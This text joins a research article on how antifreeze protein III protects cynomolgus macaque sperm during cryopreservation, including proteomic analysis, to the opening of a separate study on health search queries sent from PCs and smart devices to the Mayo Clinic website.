(Wang et al., 2019) and identify the proteins affected by AFP III during the freezing and thawing process. This research has provided useful insight into the mechanism of cryoinjuries at a molecular level and illuminated the mechanisms by which antifreeze proteins may protect sperm during cryopreservation. Materials and Methods Animal and Ethics All procedures of this study were approved by the Institutional Animal Care and Use Committee, Kunming University of Science and Technology (authorization code: LPBR201701001). A total of six healthy cynomolgus macaque males (age: from 7 to 12 years old), provided by the Yunnan Key Laboratory of Primate Biomedical Research (Kunming, China), were used as semen donors. Animals were kept in an animal room with 12:12 light–dark cycle at the room temperature of 18–26°C. Sperm Cryopreservation Unless otherwise stated, all reagents were purchased from Millipore Sigma (St. Louis, MO, USA). The clinical egg yolk-free medium was purchased from ORIGIO (Knardrepvej, Malov, Denmark). Semen samples were collected via penile electro-ejaculation as described previously (Gould and Mann, 1988). An aliquot was taken from each semen sample which served as fresh control (referred as Fresh group). Then, each semen sample was divided into two equal parts, which were diluted by the TALP-Hepes medium containing 0.3% BSA (TH3) with 0.2 μg/ml AFP III (the Cryo+AFP group) or without AFP III (the Cryo–AFP group), respectively. Each sample was then further diluted dropwise with SFM at a ratio of 1:1 to reach a final concentration of 1 × 108 sperm/ml and allowed to sit at room temperature for 10 min. The samples were then packed into 0.5 ml cryo-straws and sealed. The cryo-straws were cooled for 30 min by holding horizontally 0.5 cm above liquid nitrogen (LN2) and then directly plunged into LN2 for storage. All samples were thawed by vigorously shaking for 1 min in a 37°C water bath (Wang et al., 2019). Sperm Functional Evaluations The motility of fresh and/or cryopreserved sperm was evaluated using a light microscope as previously described (Wang et al., 2019). Five microliters of sperm samples was placed on a pre-warmed Makler counting chamber (Sefi Medical Instruments, Haifa, Israel). At least 200 sperms per sample were counted under a light microscope under 200× magnification, and the percentage of motile sperm was determined. The acrosomal integrity was examined by using the Alexa Flour-488-peanut agglutinin conjugate assay (Molecular Probes, Eugene, OR, USA) (Yang et al., 2011). Briefly, fresh and frozen-thawed samples were smeared on microscope slides. The slides were air-dried and then stained with 10 μg/ml Alexa Flour-488-peanut agglutinin solution at 37°C for 30 min under dark. After staining, the slides were washed by phosphate-buffered saline (PBS) and observed under fluorescence microscope at the excitation wavelength of 488 nm and emission wavelength of 530 nm. Sperm head with an even ample green fluorescence in acrosomal region was identified as sperm with intact acrosome, while sperm head with little or no green fluorescence in acrosome region was identified as sperm with damaged acrosome. At least 200 sperms per smear were evaluated. Mitochondrial membrane potential was evaluated by using the JC-1 (5,5′,6,6′-tetrachloro-1,1′,3,3′-tetraethyl benzimidazole carbocyanine iodide, fluorescent cationic dye) assay kit according to the instruction of the manufacturer (Smiley et al., 1991). Each sample was incubated with JC-1 at 37°C for 20 min followed by two washes. Immediately after wash, all samples were analyzed under a fluorescence microscope with the 488 nm excitation wavelength. At least 200 sperms per sample were evaluated. Sperms showing orange or yellow fluorescence due to JC-1 aggregation in mitochondria were classified as sperms with intact mitochondria. On the contrary, sperms with damaged mitochondria have a green fluorescence since the JC-1 reagent was dispersed. Extraction of Sperm Proteins and LC-MS/MS Analysis Sperm samples were washed with PBS twice by centrifugation at 200 g for 5 min. Proteomic analysis was performed according to the protocols provided by PTM Biolabs Inc. (Hangzhou, Zhejiang, China). In brief, samples from each of the three experimental groups in a lysis buffer were sonicated using a high-intensity ultrasonic processor three times on ice. The samples were then centrifuged at 12,000 g at 4°C for 10 min for supernatant collection. Protein concentration was measured with the BCA kit following the instructions of the manufacturer. After dissolving in water containing 0.1% formic acid, the tryptic peptides were immediately loaded onto a homemade reversed-phase analytical column (25 cm length, 75 μm i.d.). At a constant flow rate of 300 nl/min on a nanoElute UHPLC system (Bruker Daltonics), peptides were separated with a gradient from 4 to 6% acetonitrile containing 0.1% formic acid in 2 min, 6–24% in 68 min, 24–32% in 14 min and climbing to 80% in 3 min, then holding at 80% for the last 3 min. The peptides were analyzed using mass spectrometry by the timsTOF Pro (Bruker Daltonics) with 1.60 kV electrospray voltage after being subjected to a Capillary source. Fragments and precursors were analyzed at an MS/MS scan range from 100 to 1,700 m/z on the TOF detector with parallel accumulation serial fragmentation (PASEF) mode of the timsTOF Pro. Precursors were selected for fragmentation with 10 PASEF-MS/MS scans and 0–5 charge states per cycle, and dynamic exclusion for 30 s. Selection of the Differentially Expressed Proteins Proteins were identified by using the Maxquant search engine (v.1.6.6.0) to process the MS/MS data. The proteomics data from the mass spectrometry have been uploaded to the ProteomeXchange Consortium with the dataset identifier PXD024836 via the PRIDE partner repository. The identified differentially expressed proteins were screened by DESeq with p < 0.05 and p-adjusted < 0.1. We obtained three sets of differentially expressed protein spectra, namely, the Cryo–AFP vs. fresh sample, the Cryo+AFP vs. fresh sample, and Cryo+AFP vs. Cryo–AFP, through the pairwise comparison among three experimental groups. Bioinformatics Analysis and Statistical Analysis Gene Ontology (GO) annotation was performed using the UniProt-GOA database (). Identified protein IDs were first converted to UniProt IDs and then mapped to GO IDs. Some identified proteins, unannotated by UniProt-GOA database, were annotated with the GO functional of the protein via the InterProScan software based on the protein sequence alignment method. The classification of differentially expressed proteins through GO was annotated on the basis of three categories: cellular component, molecular function, and biological process. Differentially expressed proteins were annotated with the protein pathway using the Kyoto Encyclopedia of Genes and Genomes (KEGG) database. The KEGG database description of the protein was annotated by the KEGG online service tools KAAS, and the annotation result on the KEGG pathway database was mapped by using KEGG online service tools KEGG mapper. All data were expressed as means ± SEM. The statistical analysis of sperm MMP, acrosomal integrity, and motility was performed using ANOVA and the Fisher's least-significance difference test (SPSS 16, SPSS, Chicago, IL, USA). A p-value < 0.05 is statistically significant. Results Effect of AFP III on the Motility, Acrosomal Integrity, and Mitochondrial Membrane Potential of Cynomolgus Macaque Sperm After Cryopreservation The motility, acrosomal integrity, and MMP of fresh sperm samples (Fresh), frozen-thawed sperm cryopreserved with AFP III (Cryo+AFP), and frozen-thawed sperm cryopreserved without AFP III (Cryo–AFP) were shown in Table 1. The fluorescence images of sperm acrosomal integrity and MMP were shown in Figure 1. Compared with fresh sperm, cryopreservation significantly decreased the motility, acrosomal integrity, and MMP of sperm (p < 0.001). But sperm samples that were frozen with 0.1 μg/ml AFP III (Cryo+AFP) showed significantly higher post-thaw motility and MMP than those samples frozen without AFP III (Cryo–AFP) (p < 0.01). No difference in acrosomal integrity was observed in two cryopreserved groups (p > 0.05). Table 1. The motility, acrosomal integrity, and mitochondrial membrane potential of fresh sperm and post-thaw sperm cryopreserved with or without AFP III (n = 6). Figure 1. (A) Cynomolgus macaque sperm with intact and damaged acrosomes. The arrow indicated a sperm with damaged acrosome. (B) Sperm with intact and damaged mitochondria function. The arrows indicated sperm with compromised mitochondrial membrane potential. Identification of Cynomolgus Macaque Sperm Proteins To determine whether there was somatic cell contamination in semen, the semen was stained with DAPI. In this study, we did not observe any somatic cell in the semen (Supplementary Figure 1). A total of 2,467 proteins were identified in the cynomolgus macaque sperms. Among them, 1,848 proteins were confidently quantified in six samples. Of special interest, 159 identified differential proteins were shared by sperm samples from the Fresh, Cryo–AFP, and Cryo+AFP groups (Figure 2; Supplementary Table 1). When compared with the fresh sperm sample, cryopreservation without AFP III (Cryo–AFP) resulted in the upregulation of 65 proteins and the downregulation of 76 proteins, whereas cryopreservation with AFP III (Cryo+AFP) only resulted in the upregulation of 1 protein and the downregulation of 31 proteins. This finding has clearly demonstrated that the supplementation of 0.1 μg/ml AFP III in the sperm freezing medium significantly helps the stabilization of cellular molecular functions or biological processes in sperms, as illustrated by the extent of proteomic changes after freezing and thawing. The further comparison between sperm samples cryopreserved with or without AFP III shows that the supplementation of APF III in the sperm freezing medium leads to the relative upregulation of 1 protein and the relative downregulation of 3 proteins as shown in Figure 2A. Based on the Venn diagram analysis of sperm differential proteins exhibited in Figure 2B, there were 18 differential proteins in common for both Cryo–AFP and Cryo+AFP groups when compared with the Fresh group, and 137 differential proteins different between Cryo–AFP vs. Fresh and Cryo+AFP vs. Fresh groups. Figure 2. Identification of differentially expressed proteins in cynomolgus macaque sperm. (A) The number of differentially identified cynomolgus macaque sperm proteins between Fresh and Cryo–AFP, between Fresh and Cryo+AFP, and between Cryo–AFP and Cryo+AFP groups. The upregulated and downregulated proteins were represented by the red and green bars, respectively. (B) The differences in identified differentially expressed proteins as shown by the Venn diagram between Fresh, Cryo–AFP, and Cryo+AFP groups. According to the UniProtKB database, 159 differential proteins with known roles in sperm function were used to further evaluate the effect of cryopreservation on cynomolgus macaque sperm function. The functions of selected sperm differential proteins including flagellated sperm motility, fertilization, mitochondrial function, heat/oxidative stress, apoptosis, metabolic process, enzymatic activity, immune response, ion binding, and others were listed in Supplementary Table 1. Gene Ontology Functional Analysis The identified differentially expressed proteins involving in biological processes, cellular components, and molecular function in GO terms between the Fresh control, Cryo–AFP and Cryo+AFP groups were shown in Figure 3. In Figure 3A, biological processes of differential proteins between Fresh and Cryo–AFP groups were primarily related to organonitrogen compound metabolic process (GO:1901564, 11 proteins), phosphorus metabolic process (GO:0006793, 8 proteins), phosphate-containing compound metabolic process (GO:0006796, 10 proteins), proteolysis (GO:0006508, 6 proteins), small molecule metabolic process (GO:0044281, 6 proteins), phosphorylation (GO:0016310, 6 proteins), regulation of protein metabolic process (GO:0051246, 6 proteins), oxidation–reduction process (GO:0055114, 5 proteins), organic acid metabolic process (GO:0006082, 5 proteins), and mitochondrion organization (GO:0007005, 4 proteins). Cellular components of differential proteins between Fresh and Cryo–AFP groups were enriched in the membrane-bound organelle (GO:0043227, 22 proteins), organelle (GO:0043226, 22 proteins), intracellular region (GO:0005622, 19 proteins), extracellular region (GO:0005576, 18 proteins), intracellular organelle (GO:0043229, 16 proteins), vesicle (GO:0031982, 12 proteins), extracellular exosome (GO:0070062, 10 proteins), extracellular vesicle (GO:1903561, 10 proteins), cytosol (GO:0005829, 9 proteins), and intracellular organelle lumen (GO:0070013, 9 proteins). The molecular function of differential proteins between Fresh and Cryo–AFP groups was enriched in catalytic activity (GO:0003824, 15 proteins), carbohydrate derivative binding (GO:0097367, 10 proteins), hydrolase activity (GO:0016787, 10 proteins), cation binding (GO:0043169, 9 proteins), adenyl ribonucleotide binding (GO:0032559, 6 proteins), nucleotide binding (GO:0000166, 6 proteins), nucleoside phosphate binding (GO:1901265, 6 proteins), ATP binding (GO:0005524, 5 proteins), cofactor binding (GO:0048037, 4 proteins), and endopeptidase activity (GO:0004175, 4 proteins). Figure 3. Biological process, cellular component, and molecular function of differentially expressed proteins. (A) between Fresh and Cryo–AFP groups; (B) between Fresh and Cryo+AFP groups; (C) between Cryo–AFP and Cryo+AFP groups. The value represents the number of differential proteins. In Figure 3B, biological processes of the identified differential proteins in the GO terms were basically catabolic process (GO:0009056, 5 proteins), cellular process involved in reproduction in multicellular organism (GO:0022412, 3 proteins), multi-organism reproductive process (GO:0044703, 3 proteins), and locomotion (GO:0040011, 3 proteins) between Fresh and Cryo+AFP groups. The identified differential proteins-associated cellular localizations were enriched in the extracellular region (GO:0005576, 7 proteins) and extracellular vesicle (GO:1903561, 5 proteins) between Fresh and Cryo+AFP groups. In Figure 3C, biological processes of the identified differential proteins between Cryo–AFP and Cryo+AFP groups were involved in the cellular component assembly (GO:0022607, 2 proteins), microtubule cytoskeleton organization involved in mitosis (GO:1902850, 1 proteins), negative regulation of organelle assembly (GO:1902116, 1 protein), spindle localization (GO:0051653, 1 protein), positive regulation of translation (GO:0045727, 1 protein), ATP synthesis-coupled electron transport (GO:0042773, 1 protein), negative regulation of cell projection organization (GO:0031345, 1 protein), positive regulation of cellular amide metabolic process (GO:0034250, 1 protein), regulation of translation (GO:0006417, 1 protein), and establishment of localization in the cell (GO:0051649, 1 protein). The identified differential proteins-associated cellular localizations were enriched in respiratory chain complex (GO:0098803, 1 protein), mitotic spindle (GO:0072686, 1 protein), axoneme (GO:0005930,1 protein), mitochondrial inner membrane (GO:0005743,1 proteins), polymeric cytoskeletal fiber (GO:0099513, 1 protein), mitochondrial membrane (GO:0031966, 1 protein), and supramolecular complex (GO:0099080, 1 protein). The molecular function of the identified differential proteins between Cryo–AFP and Cryo+AFP groups is enriched in microtubule binding (GO:0008017, 1 protein) and tubulin binding (GO:0015631, 1 protein). Enrichment-Based Clustering The enrichment analysis-based clustering of the identified differential proteins from Fresh, Cryo–AFP, and Cryo+AFP groups was exhibited in Figure 4. The statistical analysis of the KEGG pathway of the identified differential proteins is enriched in 2-oxocarboxylic acid metabolism, alanine, aspartate, and glutamate metabolism, citrate cycle (TCA cycle), selenocompound metabolism, thiamine metabolism, oxidative phosphorylation, Parkinson's disease, pyruvate metabolism, non-alcoholic fatty liver disease (NAFLD), cysteine and methionine metabolism, glutathione metabolism, biosynthesis of amino acids, carbon metabolism, Alzheimer disease, Huntington disease, glycolysis/gluconeogenesis, central carbon metabolism in cancer, retrograde endocannabinoid signaling, thermogenesis and metabolic pathways between the Fresh and Cryo–AFP groups; and thermogenesis, Huntington disease, Alzheimer disease, non-alcoholic fatty liver disease (NAFLD), Parkinson's disease, oxidative phosphorylation, and cardiac muscle contraction between the Cryo–AFP and Cryo+AFP groups. Differential proteins between the Fresh and Cryo+AFP groups were not enriched into any pathways. Figure 4. The enrichment analysis-based clustering of the KEGG pathway. (A) between Fresh and Cryo–AFP groups; (B) between Cryo–AFP and Cryo+AFP groups. Discussion In this study, we investigated the effect of AFP III on cynomolgus macaque sperm cryopreservation. The results demonstrated that sperm motility, acrosomal integrity, and MMP were decreased significantly after the freezing and thawing process. The addition of 0.1 μg/ml of AFP III into the sperm freezing medium reduced sperm damage and improved the motility and MMP of sperm after cryopreservation. Proteomic analysis showed that cryopreservation resulted in the alteration of proteomic patterns in cynomolgus macaque sperm, especially those proteins associated with flagellated sperm motility, fertilization, mitochondrial function, heat/oxidative stress, apoptosis, metabolic process, enzymatic activity, immune response, ion binding, etc. The addition of AFP III in the sperm freezing medium protects sperm during cryopreservation by stabilizing mitochondrial function, reducing ROS production, and protecting sperm from apoptosis as evidenced by relative differential proteins by proteomic analysis. A total of 159 differentially expressed proteins involving in sperm functions were identified after sperm cryopreservation among Fresh, Cryo–AFP, and Cryo+AFP groups. Compared with the Fresh group, 18 proteins were downregulated in both Cryo–AFP and Cryo+AFP groups. Those proteins were associated with fertilization, apoptosis, metabolic process and enzymatic activity, which likely pinpoints the main cause of the decreased sperm motility and fertility after cryopreservation (Xu et al., 2020). For example, the levels of zona pellucida binding protein (G7P1S4, ZPBP), zona pellucida binding protein 2 (A0A2K5U0C3, ZPBP2), acrosin-binding protein (A0A2K5UCT2), and phosphatidylethanolamine-binding protein 4 (A0A2K5X0P4, PEBP4) were decreased in both Cryo–AFP and Cryo+AFP groups. The loss of ZPBP, ZPBP2, and acrosin-binding protein of cryopreserved sperm could result in the deficiency to penetrate zona pellucida and initiation of acrosome reaction (Lin et al., 2007). It has been reported that the compromised acrosome reaction contributes to the subfertility of the acrosin-binding protein-deficient mice (Nagashima et al., 2019). Furthermore, the inhibition of endogenous PEBP4 expression in MCF-7 cells was found to be associated with the decreased expression of anti-apoptotic proteins such as BclXL and Bcl-2 and the increased expression of the pro-apoptotic proteins p21CIP/WAF, p53, and Bax (Wang et al., 2005). The decreased level of PEBP4 in cryopreserved sperm is likely correlated with the tendency of sperm apoptosis. Also compared with the Fresh group, there were additional 137 differential proteins that were found either in the Cryo–AFP group (123 proteins) or in the Cryo+AFP group (14 proteins). Again, those proteins were largely associated with flagellated sperm motility, fertilization, mitochondrial function, heat/oxidative stress, apoptosis, metabolic process, enzymatic activity, immune response, and ion binding. Clearly, the changes in the proteomic patterns after freezing and thawing would have a profound negative impact on sperm motility and fertility, and the presence of AFP III in the sperm freezing medium could reduce this impact. The proteomic analysis shows that the levels of proteins related to ROS generation in mitochondrial complex, such as NDUFS8, NDUFB6, CYC1 and OCIAD1, were increased in the Cryo–AFP group when compared with Fresh group, but their levels were relatively unchanged in the Cryo+AFP group, indicating that AFP III could reduce the ROS production in mitochondrial complex I upon cryopreservation. NADH dehydrogenase (ubiquinone) iron–sulfur protein 8 (A0A2K5U649, NDUFS8) is a mitochondrial Fe–S protein in complex I (a major contributor of ROS generation) located in the inner membrane of mitochondria and participates in the electron transport chain. The upregulation of NDUFS8 increases the mitochondrial ROS production (Cheng et al., 2013). NADH dehydrogenase (ubiquinone) 1 beta subcomplex subunit 6 (A0A2K5VNL0, NDUFB6) is an accessory subunit of the multi-subunit NADH in complex I associated with ROS production, ATP generation, and cell apoptosis in the mitochondrial inner membrane. The increased expression of NDUFB6 is accompanied by the increase of ROS (Wang et al., 2020). It has been proposed that the increased ROS production during cryopreservation could lead to DNA modification, lipid peroxidation, and/or protein damages, which in turn induces cell apoptosis because of the mitochondrial cytochrome c release and the disruption of cellular homeostasis (Stokman et al., 2017). Cytochrome c 1 (A0A2K5WMQ0, CYC1), an electron carrier between complex III and complex IV in mitochondrial respiration chain located outside the mitochondrial inner membrane (Xia et al., 2002; Zhao et al., 2020), binds to APAF-1 after releasing into cytoplasm, activates pro-caspase 9, and triggers an enzymatic cascade leading to cell death (Santucci et al., 2019). Complex I activity is correlated negatively with OCIA domain-containing protein (A0A2K5VJ27, OCIAD1) expression (Shetty et al., 2018). We hypothesized that the presence of AFP III in the sperm freezing medium can reduce mitochondrial ROS production and sperm apoptosis, which may explain the higher sperm motility and MMP in the Cryo+AFP group than the Cryo–AFP group. Another major group of differential proteins between the Fresh and Cryo–AFP and Fresh and Cryo+AFP groups is the GSH synthesis-related proteins, including gamma-ECS, lactoylglutathione lyase, and carbonyl reductase 1. GSH ensures the normal function of cell apoptosis by maintaining redox homeostasis and resisting oxidant aggression. This study detects the downregulation of gamma-ECS (A0A2K5UV75, GCLC), lactoylglutathione lyase (Q4R5F2, GLO1), and carbonyl reductase 1 (Q8MI29, CBR1) in the Cryo–AFP group when compared with the Fresh group, but not in the Cryo+AFP group. GCLC participates in the first rate-limiting reaction in GSH synthesis and feedback inhibited by GSH itself to the regulation of cellular GSH concentration (Griffith and Meister, 1979). The reduced GCLC expression increased the methylglyoxal-induced pheochromocytoma cells apoptosis (Kimura et al., 2009). By converting the spontaneously formed MGO-GSH hemithioacetal to the thioester S-D-lactoylglutathione, GLO1 acts as the rate-limiting enzyme in the primary detoxification step. GSH concentration is directly proportional to GLO1 activity. The impaired GLO1 activity is associated with the decreased GSH concentration (Sousa Silva et al., 2013; Nigro et al., 2017) and with the induced apoptosis of acute myeloid leukemia cells (Chen et al., 2015). CBR1 inactivates cellular membrane-derived lipid aldehydes to protect cells from oxidative stress and cell apoptosis. The study has found that lipid peroxidation products and oxidative stress markers were significantly lower in cells overexpressing CBR1. In contrast, the level of oxidative stress protein expressed by CBR1 knockout cells was increased (Kwon et al., 2019). Therefore, our results also suggest that AFP III could reduce ROS production by protecting the GSH synthesis-related proteins during freezing and thawing. Furthermore, the downregulation of a non-specific serine/threonine protein kinase (A0A2K5UYV4, STK39) and a stress-induced protein (Q4R8N7, STIP1) and the upregulation of a non-specific T-complex protein 1 subunit (Q4R5J0, CCT8) were observed only in the Cryo–AFP group, but not in Cryo+AFP group after sperm cryopreservation in this study. The suppression of STK39 significantly induces cell apoptosis in 786-0 and ACHN cells. STK39 knockdown reduces the anti-apoptosis protein Bcl-2 and increases the apoptosis-promoting protein Bax (Zhao et al., 2018). The downregulation of STIP1 increases cell apoptosis of glioma cells (Yin et al., 2019). The upregulation of CCT8 was reported to be connected to the neuronal apoptosis in adult rats with traumatic brain injury (Robles et al., 2015). Again, these findings appear to suggest a role of AFP III in preventing the apoptosis of sperm after freezing and thawing. Of particular interest are the four differential proteins between the Cryo–AFP and Cryo+AFP groups (Figure 2B). The upregulated one was the ubiquinol-cytochrome-c reductase complex assembly factor 1 (A0A2K5WI39, UQCC1), whereas the downregulated ones were the cytochrome c oxidase subunit 3 (C3W4Z1, COX3), the transmembrane helical component TEX51 (A0A2K5X818), and the microtubule-associated protein (A0A2K5UU31, MAP4). Those proteins are associated with mitochondrial electron and redox function, membrane assemblies, and cytoskeleton organization. UQCC1, the complex III assembly factors, participates in the cytochrome b biogenesis (Tucker et al., 2013). COX3, the catalytic core of cytochrome c oxidase, accepts electrons from cytochrome c and subsequently transfers them to molecular oxygen to generate water (Little et al., 2018). Some previous studies have shown that cryopreservation alters the composition of sperm proteins (Wang et al., 2013; Vilagran et al., 2014; Cheng et al., 2015; Bogle et al., 2017; Pini et al., 2018; Li et al., 2019). During the freezing and thawing process, the loss of intracellular components due to damaged membranes may contribute to the considerable loss of some sperm proteins, whereas the increases of some sperm proteins can be due to secondary or tertiary structure transformations or degradation of proteins (Bogle et al., 2017). This study demonstrates that sperm cryopreservation changes the levels of some proteins in both the Cryo–AFP and Cryo+AFP groups, which results in a decrease in the number of differential proteins between the two groups. For example, the levels of 18 decreased proteins in both Cryo–AFP and Cryo+AFP groups were similar (Supplementary Table 1). Previous studies demonstrate that AFP III reduces the damage of cellular structures by ice crystallization during freezing and thawing (Salvay et al., 2010; Saeed et al., 2020). AFP III can also stabilize the cell membrane, thereby reducing the sublethal damage during sperm cryopreservation (Robles et al., 2019). This study has extended our understanding of the cryoprotective role of AFP III by demonstrating that AFP III can maintain mitochondrial function and reduce ROS production and sperm apoptosis during the freezing and thawing process. The finding is consistent with the findings that the addition of AFP III successfully improved sperm motility and mitochondrial membrane potential. Sperm cryopreservation increases the production of ROS, such as superoxide and hydrogen peroxide, in many species including human and rhesus macaque (McCarthy and Meyers, 2011; Lee et al., 2015; Saeed et al., 2020). In another unpublished paper, we demonstrated that sperm cryopreservation could induce ROS production in cynomolgus monkey. AFP III has been proved to have an anti-peroxide effect in sperm cryopreservation. For example, human sperm cryopreservation with AFP III improved motility and total antioxidant capacity (TAC) levels. Meanwhile, AFP III decreased the percentage of DNA fragmentation and ROS level (Kim et al., 2017). Furthermore, ROS level was decreased in mouse oocytes vitrified with AFP III (Salvay et al., 2010). Another study also demonstrated that reduced glutathione/oxidative glutathione (GSH/GSSG) and total antioxidant capacity (TAC) were higher in bull semen cryopreservation with AFP III compared with the control group (Jang et al., 2020). In our study, the results also suggested that AFP III could protect the proteins associated with ROS production in mitochondria and GSH synthesis during sperm freezing and thawing. The proteomic evidence in this study is consistent with previous studies, suggesting the anti-peroxidative effect of AFP III. Therefore, we hypothesized that AFP III may reduce cryo-damages of sperm structures, as well as the release of cytochrome c, thereby reducing sperm apoptosis by suppressing the mitochondrial ROS production and enhancing the antioxidative function. Conclusion The addition of AFP III in the sperm freezing medium protects sperm during cryopreservation. The proteomic analysis has identified 159 proteins with known functions that are susceptible to sperm cryopreservation. The addition of 0.1 μg/ml of AFP III in the sperm freezing medium can change the outcome, significantly reducing the number of differential proteins in cryopreserved sperm. According to the biological processes and molecular functions of differentially expressed proteins, we proposed a new molecular mechanism for AFP III cryoprotection that AFP III may reduce sperm apoptosis by reducing the release of cytochrome c and the mitochondrial ROS production. The findings provide insight into the AFP III cryoprotection mechanism and a useful hint for a new strategy of developing and optimizing sperm cryopreservation. However, the mechanism of AFP III modulating the proteomic profiles upon cryopreservation needs to be studied further. Data Availability Statement The datasets presented in this study can be found in online repositories. The names of the repository/repositories and accession number(s) can be found in the article/Supplementary Material. Ethics Statement The animal study was reviewed and approved by the Yunnan Key Laboratory of Primate Biomedical Research (Kunming, China) and all procedures were approved by the Institutional Animal Care and Use Committee, Kunming University of Science and Technology (authorization code: LPBR201701001), and were executed according to the Guide for Care and Use of Laboratory Animals (Commission on Life Sciences, the National Research Council, Washington, D.C.). Author Contributions WS and BC conceptualized the study. BC, HD, and AS contributed to the formal analysis. BC, WQS, and WS contributed to the writing (review and editing). BC, SW, and BI contributed to the investigation. SQ, YD, Chen Adar, Ido Braslavsky, XL, and SL contributed to the resources. All authors have read and agreed to the published version of the manuscript. Funding This research was supported by grants from the National Key Research and Development Program of China (Grant Number: 2018YFA0801403) and Yunnan Fundamental Research Projects (Grant Number: 2018FA020). Chen Adar and Ido Braslavsky for providing us with antifreeze protein III. Supplementary Material The Supplementary Material for this article can be found online at: Supplementary Figure 1. Cynomolgus macaque semen was stained with DAPI. No somatic cells were observed in the semen. References Bogle, O. A., Kumar, K., Attardo-Parrinello, C., Lewis, S. E. M., Estanyol, J. M., Ballescà, J. L., et al. (2017). Identification of protein changes in human spermatozoa throughout the cryopreservation process. Andrology 5, 10–22. doi: 10.1111/andr.12279 PubMed Abstract | CrossRef Full Text | Google Scholar Chen, C. C., Wu, M. L., Ho, C. T., and Huang, T. C. (2015). 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Reviewed by:Borut Kovacic, Maribor University Medical Centre, Slovenia Maíra Bianchi Rodrigues Alves, University of São Paulo, Brazil Copyright © 2021 Chen, Wang, Inglis, Ding, Suo, Qiu, Duan, Li, Li, Sun andendell Q. Sun, [email protected]; Wei Si, [email protected] †These authors have contributed equally to this work

Original Paper Abstract’s. doi:10.2196/jmir.3186 Keywords Introduction Background Limited health literacy is associated with higher rates of hospitalizations, poorer health, and higher mortality [, ]. Online health information plays a vital role in improving health literacy and helps online health information seekers (OHIS) make more informed health decisions. Over the past decade, Internet literacy and the number of Internet users have increased significantly [ - ]. With the growing availability of eHealth resources [ , ], consumers are increasingly using the Internet to seek health-related information. According to a 2013 Pew Survey [ ], one in three American adults has gone online to find information about a specific medical condition. With the recent exponential increase in usage of smart devices (SDs), like smartphones or tablets, the percentage of people using smart devices to search for health information is also growing rapidly [ , ]. While there is some evidence [] that the experience of online information searching varies depending on the device used (eg, smart devices vs personal computers or laptops [PCs]), little is known about how device choice impacts the structure of health information search queries generated by users. Understanding the effects of the device used (SDs vs PCs) for health information search would help us to acquire more insights into online health information seeking behavior (OHISB). Such knowledge can be applied to improve the search experience and to develop more advanced next-generation knowledge and content delivery systems. One of the most common ways to seek online health Information is via Web search engines such as Google, Yahoo!, etc []. According to the Pew Survey [ ], approximately 8 in 10 online health inquiries initiate from a search engine. A typical online health information search process starts with the formulation of a health search query based on an OHIS information need. This query is typically submitted to a Web search engine, which subsequently leads to visiting one or more websites recommended by the search engine. In this paper, we study the effect of the devices used for health information search, concentrating on what information users search for and how health search queries are formulated. Using the Mayo Clinic website’s Web analytics tool (IBM NetInsight OnDemand []) and based on the type of devices used (PCs or SDs), we obtained the most frequent health search queries submitted from Web search engines that direct traffic to the Mayo Clinic webpages [ ]. We selected search queries that are in the English language and collected between June 2011 and May 2013. We analyzed structural properties, types (keywords, wh-question, yes/no-questions), misspellings, and the linguistic structure of the health queries. We further categorized them based on health categories and demographic information mentioned (gender, age group, etc) in the queries. Our analysis suggests that the device used for online health information searching plays a significant role, altering the OHISB. Significance of Current Study Many previous studies have investigated OHISB. Researchers have used several approaches to understand OHISB including (1) focus groups and user surveys [- ] and (2) analyzing health-related Web search query logs [ - ]. In the studies that involved focus groups and user surveys, researchers have analyzed characteristics associated with OHISB such as how people use the Internet for health information searching, their demographic information (age, gender, education level, etc), devices/Web search engines used for searching, OHISB in specific health conditions, and age groups [ - ]. Although these studies provide important insights into OHISB, their main limitation was the inclusion of a small number of participants (ranging from 100-2000 people). A second approach to studying OHISB is analyzing Web search logs from the health domain. Several previous studies have analyzed health search query logs with diverse objectives, such as health/epidemic surveillance [ - ], PubMed usage [ , ], and OHISB [ - ]. The studies focusing on OHISB [ - ] have studied a variety of aspects of health query logs, such as query length, health categories, relationship between OHISB and health care utilization [ ], changes in health behavior with type of disease [ ], and changes in OHISB with disease escalation from symptoms to serious illness [ , ]. Although the user experience for online health information searching varies with the device used (PCs/SDs) [], there is a dearth of work relating OHISB with the device used for searching. In this study, we address this problem by analyzing large-scale health queries for both PCs and SDs to understand the effects of device type (PCs vs SDs) used for online health information seeking. Previous studies in generic search query log analysis have determined the importance of understanding linguistic structure of search queries as it has implications on information retrieval using Web search engines [ , ]. One of the contributions of this study is a comparative analysis of linguistic structure of health search queries from PCs and SDs. This study provides useful and interesting findings that can be leveraged in multiple ways. Some of the potential beneficiaries are (1) Web search engines: to understand health search query structure and complexity, and the occurrence of popular health categories for PCs and SDs to improve query performance and accuracy for health information retrieval systems, (2) Websites that provide health information: to better understand online health information seekers’ health information need, and better organize health information content for PCs and SDs users, (3) Health care providers: to better understand their patients and their health information interests, (4) Health care-centric application developers: to better understand OHISB for PCs and SDs and build applications around consumer’s health information needs and priorities, and (5) online health information seekers: we anticipate that this work will help empower online health information seekers in their quest for health information and facilitate their health information search efforts by enabling the development of smarter and more sophisticated consumer health information delivery mechanisms. Methods Data Source In this study, we collected health search queries originating from Web search engines (such as Google and Bing) that direct OHISs to the Mayo Clinic’s consumer health information website [], which is one of the top online health information website within the United States. The Mayo Clinic provides up-to-date, high-quality online health information produced by professional writers and editors. Our recent Web analytics statistics indicate that the Mayo Clinic website is visited by millions of unique visitors on average every day, and around 90% of the incoming traffic originated from Web search engines. The Mayo Clinic website is identical in terms of appearance and functionality for both PCs and SDs using standard Web search engines and Web browsers. This consistency as well as significant traffic to the website provide us with an excellent platform to conduct our study. Dataset Creation The Mayo Clinic website’s Web analytics tool, IBM NetInsight OnDemand [], keeps detailed information about incoming Web traffic from Web search engines to the Mayo Clinic website. The tool maintains information such as input search query (the original query from a Web search engine that brings an OHIS to the Mayo Clinic website), number of query repetitions (how many times the query has been searched within specified time period), and the visitor’s Operating System (OS). PCs generally use Windows (98, 2000, Xp, Vista, 7, 8), Mac OS X, or Linux (such as Ubuntu and Redhat) operating systems while SDs use iOS (iPhone’s OS), Android, Windows Mobile, and RIM BlackBerry operating systems. Since the Web analytics tool tracks information related to each user’s OS type and individual searches, we are able to differentiate search queries by device type (PCs/SDs). Using the Web analytics tool, we obtained one data report for each of the most frequent one million (based on the number of query repetitions) anonymized distinct queries in the English language launched from PCs and SDs for each month between June 2011 and May 2013 (24 months), totalling 48 data reports. Each search query appears uniquely in each data report and has an associated number of query repetitions. For each device type (PCs and SDs), we aggregated 24 reports to create a single report with distinct queries. The dataset for PCs has 2.74 million queries, and the dataset for SDs has 3.94 million queries. While aggregating the search queries for PCs 